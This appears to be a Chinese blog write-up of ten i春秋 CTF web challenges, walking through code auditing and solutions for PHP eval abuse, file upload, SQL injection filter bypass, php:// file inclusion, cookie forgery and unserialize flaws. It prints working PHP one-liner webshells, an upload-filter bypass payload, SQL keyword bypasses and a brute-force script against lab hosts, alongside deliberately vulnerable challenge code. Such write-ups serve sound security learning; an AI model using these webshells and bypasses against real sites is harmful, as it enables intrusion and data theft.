i春秋-Web(一)

  1. 前言
  2. Web1:爆破-1
  3. Web2:爆破-2
  4. Web3:爆破-3
  5. Web4:Upload
  6. Web5:SQL
  7. Web6:include
  8. Web7:who are you?
  9. Web8:broken
  10. Web9:Do you know upload?
  11. Web10:Login
  12. 写在后面

前言

做了几道i春秋的Web题,所以总结一下。

Web1:爆破-1

在这里插入图片描述
题目提示:某六位变量。查看题目,发现是代码审计
在这里插入图片描述

<?php
include "flag.php";
$a = @$_REQUEST['hello'];//以get或post传入hello,并赋值给`$a`
if(!preg_match('/^\w*$/',$a )){//正则表达式^匹配一行的开头,$表示结束。\w表示匹配包括下划线的任何单词字符,等价于'[A-Za-z0-9_]'。*号:匹配前面的子表达式零次或多次。
  die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);//__FILE__当前运行文件的完整路径和文件名。
?>

1、如果匹配正则表达式/^\w$/,就打印变量 $$a
2、$a是hello,$$a是六位变量$hello
接下来不会了,所以百度一下
发现超全局变量$GLOBALS
*
作用**:
引用全局作用域中可用的全部变量。这样就会打印出当前定义的所有变量,也包括 include 的文件中的变量,flag 也存在在这些变量中。
3、所以在URL后加?hello=GLOBALS,将参数hello修改为Globals
实际执行语句:

eval("var_dump($$a);")
eval("var_dump($hello);")
eval("var_dump($GLOBALS);")

最终得到flag
在这里插入图片描述

Web2:爆破-2

在这里插入图片描述
题目提示:flag不在变量中
在这里插入图片描述
审计代码,很明显是代码执行。一句话+菜刀(或蚁剑)拿到flag
pyload

http://bd5c2e087fb744a4abb30339f0c088bfba3400c37b8245fe.changame.ichunqiu.com/?hello=${@eval($_POST[1])}

在这里插入图片描述
同时发现我这道题有多种解法,可以参考大佬博客:【i春秋】 Web —— 爆破-2

Web3:爆破-3

在这里插入图片描述
题目提示:这个真是爆破
在这里插入图片描述
审计代码:
1、Session中的num初始值为0,time为当前时间,whoami初始值为ea。
2、120秒之后会话结束。然后str_rands随机生成2个字母。
3、whoami需要等于传递的value值的前两位,并且value的md5值的第5为开始,长度为4的字符串==0,这样num++。
4、whoami=str_rands,循环10次后,输出flag。

所以只要第一次传进去的value与session中的相等,则网页会输出下一个value值,通过使用md5函数不能对数组进行处理的漏洞来绕过substr(md5($value),5,4)==0的判断,使nums得值大于10即可得到flag。
但不会写脚本,所以借鉴了一下大佬的脚本:

import requests

url = "http://18db51d66abf489ca48f1c310b898ab8e4ba00cd266e4219.changame.ichunqiu.com/?value[]=ea"
al = ['abcdefghijklmnopqrstuvwxyz']
s = requests.session()
r=s.get(url)

for i in range(20):
    url = "http://18db51d66abf489ca48f1c310b898ab8e4ba00cd266e4219.changame.ichunqiu.com/?value[]=" + r.content[0:2]
    r=s.get(url)
    print r.content

在这里插入图片描述

Web4:Upload

在这里插入图片描述
根据题目提示,这道题是文件上传漏洞。上传一句话
在这里插入图片描述
查看,发现过滤了<?php
在这里插入图片描述
查询百度发现一句话也可以这样写:
各种一句话木马大全
找到一个。因为会过滤php,所以php写成pHp进行绕过。

<script language="pHp">@eval($_POST['b'])</script>

所以重新写下,然后上传。蚁剑(菜刀)一连成功
在这里插入图片描述
然后就可以在后台找到flag了。

Web5:SQL

在这里插入图片描述
题目提示:SQL注入
flag在数据库。感觉可以联合查询注入。所以先判断整型还是字符型,是整型。查询列数,发现
在这里插入图片描述
额。。不知道什么原因,感觉像是被过滤了什么。绕过,emmmm。。。没有绕过成功。查看大佬博客发现通过<>进行绕过
大佬博客:一次简单的ctf SQL注入绕过
试过后,发现只有ord<>er这种形式才能绕过。
在这里插入图片描述
判断显示位,“2”处是显示位。
在这里插入图片描述
接下来当然是爆库、爆表、爆字段、爆数据了。注意select和and的绕过就行了(sel<>ect an<>d)。最终得到flag
在这里插入图片描述

Web6:include

在这里插入图片描述
题目提示:文件包含漏洞
在这里插入图片描述
因为PHP版本5.6.29,且allow_url_include为On、allow_url_fopen为Off。
在这里插入图片描述
所以可以使用php伪协议读取POST数据,POST数据可以是命令执行代码,用ls查看当前目录。
在这里插入图片描述
得到dle345aae.php,再用php://filter伪协议对文件进行读取,Base64转换一下,即可得到flag
在这里插入图片描述

Web7:who are you?

在这里插入图片描述
题目提示:who are you?(你是谁?)。一般情况下是admin
在这里插入图片描述
抓包,发现一串像Base64的字符
在这里插入图片描述
Base64解密结果是:f:5:"thrfg";
把thrfg换成admin,Base64加密,加密结果替换role值。发包没有得到flag。
尝试无果,偷瞄一下大佬博客,rot13加密(凯撒密码码位移13)。。。解密结果:guest。
脑洞挺大。不过也貌似比较好想到,admin(管理员账户),想到guest(来宾账户)。
所以admin,rot13加密、Base64加密。加密结果替换role值,发包得到
在这里插入图片描述
提示文件上传,查看源码
在这里插入图片描述
很明显应该一个是文件名,一个是数据
先构造一下变量:filename=1.php&data=<?phpinfo();?>
得到NO NO NO
在这里插入图片描述
应该是有正则匹配。不会绕,再次偷瞄大佬博客:
利用数组绕过问题小总结
php的函数一般都无法执行数组的,用数组来当参数,一般都能绕过。所以可以data[],即filename=1.php&data[]=<?phpinfo();?>。得到flag文件名
在这里插入图片描述
访问,得到flag

Web8:broken

题目只提示了broken
在这里插入图片描述
在这里插入图片描述
看到文件内容,很明显想到之前做过,是jsfuck编码。直接解,没解出来。因为题目已经提示文件损坏,所以了解一下jsfuck编码进行修复。
JSfuck原理解析一
JSFuck
所以第一个[后应该加个],jafuck解密弹出
在这里插入图片描述
emmm,flag没在这?!应该还有要修的的地方。。不会了。。
又一次偷瞄大佬博客:
在这里插入图片描述
emmm,看了它一眼,然后没复现成功。

Web9:Do you know upload?

在这里插入图片描述
Do you know upload?(你知道文件上传吗?),我知道文件上传。进入题目查看源码
在这里插入图片描述
很明显可以用php伪协议(php://filter)读取源码
在这里插入图片描述
Base64解密,得到源码如下:

<html>
<head><meta charset="utf-8" />
<title>Upload</title>
</head>

<body>
<h1>图片上传</h1>

<form action="" method="post" enctype="multipart/form-data">
    <label for="file">Filename:</label>
    <input type="hidden" name="dir" value="/uploads/" />
    <input type="file" name="file" id="file" />
    <br />
    <input type="submit" name="submit" value="Submit" />
</form>
<!-- 
include($_GET['file']); 
-->
<?php
include($_GET['file']); 
@$pic = $_FILES["file"]["name"];
@$pics = explode('.' , $pic);

if(@isset($_POST[submit])){
    if ((($_FILES["file"]["type"] == "image/gif")
            || ($_FILES["file"]["type"] == "image/jpeg")
            || ($_FILES["file"]["type"] == "image/pjpeg"))){

        if ($_FILES["file"]["error"] > 0){
            echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
        }else{
            echo "Upload: " . $_FILES["file"]["name"] . "<br />";
            echo "Type: " . $_FILES["file"]["type"] . "<br />";
            echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
            //echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
            if (file_exists("upload/" . $_FILES["file"]["name"])){
                echo $_FILES["file"]["name"] . " already exists. ";
            }else{
                move_uploaded_file($_FILES["file"]["tmp_name"],
                    "upload/" . $_FILES["file"]["name"]);
                echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
            }
        }
    }else{
        echo "<script>alert('文件类型不允许')</script>";
        echo "Invalid file";
    }
}else{
    // echo "Invalid file";
}
?>
</body>
</html>

代码审计一下:
黑名单,文件类型只能是image/gif、image/jpeg、image/pjpeg。
所以,先将php一句话,文件后缀改为.jpg
上传、抓包,将.jpg改为.php。上传成功
在这里插入图片描述
蚁剑(菜刀)一连,连接成功
在这里插入图片描述
没有发现flag,发现了config.php。打开,里面有数据库用户名、密码、数据库名。蚁剑连接数据库,得到flag
在这里插入图片描述

Web10:Login

打开题目查看源码,在最下方发现
在这里插入图片描述
应该就是用户名和密码,登录
在这里插入图片描述
只有这个。。。源码也没有有用信息
抓包,发包
在这里插入图片描述
响应头里发现特殊的东西show,且值为0。一般0表示假,1为真。
所以在请求头里将show的值写为1,发包
在这里插入图片描述
得到源码

<?php
    include 'common.php';
    $requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
    class db
    {
        public $where;
        function __wakeup()
        {
            if(!empty($this->where))
            {
                $this->select($this->where);
            }
        }

        function select($where)
        {
            $sql = mysql_query('select * from user where '.$where);
            return @mysql_fetch_array($sql);
        }
    }

    if(isset($requset['token']))
    {
        $login = unserialize(gzuncompress(base64_decode($requset['token'])));
        $db = new db();
        $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
        if($login['user'] === 'ichunqiu')
        {
            echo $flag;
        }else if($row['pass'] !== $login['pass']){
            echo 'unserialize injection!!';
        }else{
            echo "(╯‵□′)╯︵┴─┴ ";
        }
    }else{
        header('Location: index.php?error=1');
    }
?> 

审计代码,发现
只要$login = unserialize(gzuncompress(base64_decode(requset[′token′])))之后,requset[′token′])))之后,login[‘user’] === 'ichunqiu’即可。
在这里插入图片描述
然后写到cookie中的token中就行了,这个时候也必须有show: 1,发包得到flag。
在这里插入图片描述

写在后面

就先总结这么多。。。。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 qwzf1024@qq.com

×

喜欢就点赞,疼爱就打赏